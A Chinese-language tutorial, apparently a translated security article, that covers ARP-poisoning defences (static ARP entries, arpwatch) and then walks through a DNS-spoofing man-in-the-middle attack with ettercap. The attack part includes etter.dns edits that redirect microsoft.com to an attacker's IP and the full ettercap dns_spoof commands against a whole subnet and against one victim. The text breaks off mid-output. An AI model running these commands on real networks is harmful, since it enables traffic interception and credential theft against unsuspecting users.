中间人攻击-DNS欺骗在前面的文章(中间人攻击-ARP毒化)中,我们讨论了黑客危险的攻击和实用的ARP中毒原理。在本文中,我将首先探讨检测和防止ARP中毒(或ARP欺骗)攻击,然后我将回顾其他的中间人攻击-DNS欺骗。ARP缓存攻击是一项非常危险的攻击,重要的是在用户中创建安全的意识和分析有效的工具和策略。如果你操作的是小型网络,那么就很容易维护ARP。但是在大型的网络,维护ARP是很困难和费事的。在前一篇文章的最后我们讨论了工具和技术,能够被用来检测ARP缓存中毒攻击。让我们来回顾下每一步:静态ARP你可以在网络ARP表中手动的添加一些信息,一旦信息插入,你就有了静态ARP映射。输入数据的过程也是非常简单,在你的终端/CMS中,只需输入:“arp-s”例子:你现在的ARP表:root@bt:~#arpAddressHWtypeHWaddressFlagsMaskIface192.168.1.1ether00:22:93:cf:eb:6dCeth0让我们假设一下,我想添加一个新的主机在我的ARP缓存表中,我输入如下命令:arp-sIPMACroot@bt:~#arp-s192.168.1.200:50:FC:A8:36:F5root@bt:~#arpAddressHWtypeHWaddressFlagsMaskIface192.168.1.2ether00:50:fc:a8:36:f5CMeth0192.168.1.1ether00:22:93:cf:eb:6dCeth0root@bt:~#需要注意的是,手动添加ARP表只适用于当前的会话。当你重新启动计算机,将更新表。如果你想要使用这种方法,那么你可以创建一个批处理文件/BASH文件,并将它们添加到启动项。ARPwatch(ps:监听ARP记录)这是一个不错的实用程序,已经被用来监测ARP网络,它能够探测并记录发生更改的网络,同时还发送邮箱详细说明各自的变化。安装过程也是非常简单的。对于Ubuntu用户:#apt-getinstallarpwatchroot@bt:~#arpwatch-hVersion2.1a15usage:arpwatch[-dN][-fdatafile][-iinterface][-nnet[/width]][-rfile][-ssendmail_path][-p][-a][-maddr][-uusername][-Rseconds][-Q][-zignorenet/ignoremask]如果需要快速检测就用下面这个命令:#arpwatch-iinterfaceroot@bt:~#arpwatch-ieth0检查程序是否在运行:root@bt:~#ps-ef|greparpwatcharpwatch10411014:05?00:00:00/usr/sbin/arpwatch-uarpwatch-N-proot21912165014:54pts/000:00:00grep–color=autoarpwatch接下来的步骤就是ARPwatch记录日志,这也非常简单,你只需要做得是确定目录,然后读取文件。root@bt:~#cd/var/lib/arpwatchroot@bt:/var/lib/arpwatch#lsarp.datarp.dat-root@bt:/var/lib/arpwatch#catarp.dat00:50:fc:a8:36:f5192.168.1.21337437776eth000:27:0e:21:a6:1e192.168.1.51337437923eth0所以如果你是网络管理员,那么你应该实施一些策略来监视ARP表并且保护主机免受ARP中毒攻击。当然我们要注意,中间人攻击并不局限于一个ARP欺骗攻击。正如前面提到的,还有许多其他的技术能够执行一个中间人攻击。一个主要的例子就是DNS欺骗,我们将分析它。DNS欺骗攻击DNS欺骗攻击是一种非常危险的中间人攻击,它容易被攻击者利用并且窃取用户的机密信息。虽然这篇文章可以提供一些新的见解,但重要的是DNS欺骗是一个一般概念,有无数种方法可以实现一个DNS欺骗攻击。在一个DNS欺骗攻击中,攻击者可以利用一个漏洞来伪造网络流量。因此,要理解DNS欺骗攻击,必须理解DNS是怎样工作的。DNS(域名系统)在互联网中是一个非常重要的协议。它属于TCP/IP,是一个分层结构的分布式模块,它包含域名的相关信息。它负责在网络上映射域名到他们各自的IP上。DNS定位主机/服务器通过查看友好域名,使用域名系统,DNS将域名和IP地址相互映射。这些设备(路由器、服务器等)连接到你的电脑不能理解一些友好的名称(infosecinstitute.com),他们只了解一个IP地址,而DNS负责翻译它。让我们来看看下面这个图来理解主机和本地DNS服务器的正常通信。DNS服务器包含着一个主数据库,其中包括信息的IP地址,因为这涉及到相应的域名。所以在这些正常的通信中,一个主机发送请求到服务器,之后服务器响应正确的信息。如果DNS没有信息传入的请求,它将发送请求到外部DNS服务器来获取正确的响应。那么攻击者如何使用中间人攻击来实施DNS欺骗呢?下图说明了答案:使用DNS欺骗中间人攻击,攻击者将截取会话,然后转移到一个假网站的会话。假如:用户希望访问google.com,并且谷歌的IP地址为173.194.35.37,攻击者就可以使用DNS欺骗技术拦截会话,并将用户重定向到假冒的网站,假网站IP可以为任意IP。演示DNS欺骗攻击在本系列的以前文章中我发现ettercap是一个很好用来演示ARP欺骗攻击的工具。当然ettercap包含一个DNS插件,非常容易使用哦。打开ettercapGUI,点击sniff,之后再unifiedsniffing选择自己的网络。单机hosts,之后扫描整个子网存活的主机。在执行时,我们来编辑etter.dns文件,以确保它执行正确的DNS欺骗攻击:microsoftsucks;)#redirectitto*.microsoft.comA192.182.196.56默认情况下,ettercap是重定向到另一个网站的IP地址,我们来改变它:microsoft.comA192.168.1.12*.microsoft.comA192.168.1.12是攻击者的IP地址。确保Web服务器运行在攻击者的机器,一定要启用IP转发。在受害者的电脑查看:C:\ping[65.55.58.201]with32bytesofdata:Replyfrom65.55.58.20:bytes=32time=167msTTL=54Replyfrom65.55.58.20:bytes=32time=167msTTL=54Replyfrom65.55.58.20:bytes=32time=167msTTL=54Pingstatisticsfor65.55.58.20Packets:Sent=4,Received=4,Lost=00%loss,在ettercapGUI上,选择受害者主机(目标1)和默认路由器(网关,目标2)。点击Mitm---ARPpoisoning,选择Sniffremoteconnerctions.之后点击start-startsniffing点击选择plugins--managetheplugins在其中选择dns_spoof。这将会启用dns_spoof插件来执行DNS欺骗中间人攻击。现在在受害者电脑的DNS欺骗攻击是:你可以看到,在DNS已经成功欺骗时,所有会话被转移到了攻击者的主机,而不是真正的微软服务器。这个演示是基于GUI的ettercap,你也可以使用命令行版本。让我们考虑一个快速演示DNS欺骗的命令行接口。选择etter。查看Dns使用简单的命令:root@bt:~#locateetter.dns/usr/local/share/videojak/etter.dns/usr/share/ettercap/etter.dnsroot@bt:~#现在你可以使用你喜欢的文本编辑器来编辑这个文件。你可以使用文本编辑器nano或者其他任何你想要的root@bt:~#gedit/usr/share/ettercap/etter.dnsroot@bt:~#nano/usr/share/ettercap/etter.dns当你完成了保存这个文件,现在做好了准备。我们需要做得就是通过ettercap启用DNS欺骗攻击:root@bt:~#ettercap-T-q-Pdns_spoof-Marp////ettercapNG-0.7.3copyright2001-2004ALoR&NaGAListeningoneth0...(Ethernet)eth0-00:1C:23:42:8D:04192.168.1.12255.255.255.0SSLdissectionneedsavalid'redir_command_on'scriptintheetter.conffilePrivilegesdroppedtoUID65534GID65534...28plugins39protocoldissectors53portsmonitored7587macvendorfingerprint1698tcpOSfingerprint2183knownservicesRandomizing255hostsforscanning...Scanningthewholenetmaskfor255hosts...*|==================================================|100.00%4hostsaddedtothehostslist...ARPpoisoningvictims:GROUP1:ANY(allthehostsinthelist)GROUP2:ANY(allthehostsinthelist)StartingUnifiedsniffing...TextonlyInterfaceactivated...Hit'h'forinlinehelpActivatingdns_spoofplugin...让我们来拆开命令结构,来分析DNS欺骗攻击所用到的命令:-P使用插件,这里我们使用的是dns_spoof-T使用基于文本界面-q启动安静模式(不回显的意思)-M启动ARP欺骗攻击////代表欺骗整个子网网络此外,我们可以综合使用这些命令。例如,你想要欺骗一个特定的受害主机,那么你可以使用受害者的IP来执行DNS欺骗攻击。root@bt:~#ettercap-T-q-Pdns_spoof-Marp/192.168.1.6///ettercapNG-0.7.3copyright2001-2004ALoR&NaGAListeningoneth0...(Ethernet)eth0-00:1C:23:42:8D:04192.168.1.12255.255.255.0SSLdissectionneedsavalid'redir_command_on'scriptintheetter.conffilePrivilegesdroppedtoUID65534GID65534...28plugins39protocoldissectors53portsmonitored7587macvendorfingerprint1698tcpOSfingerprint218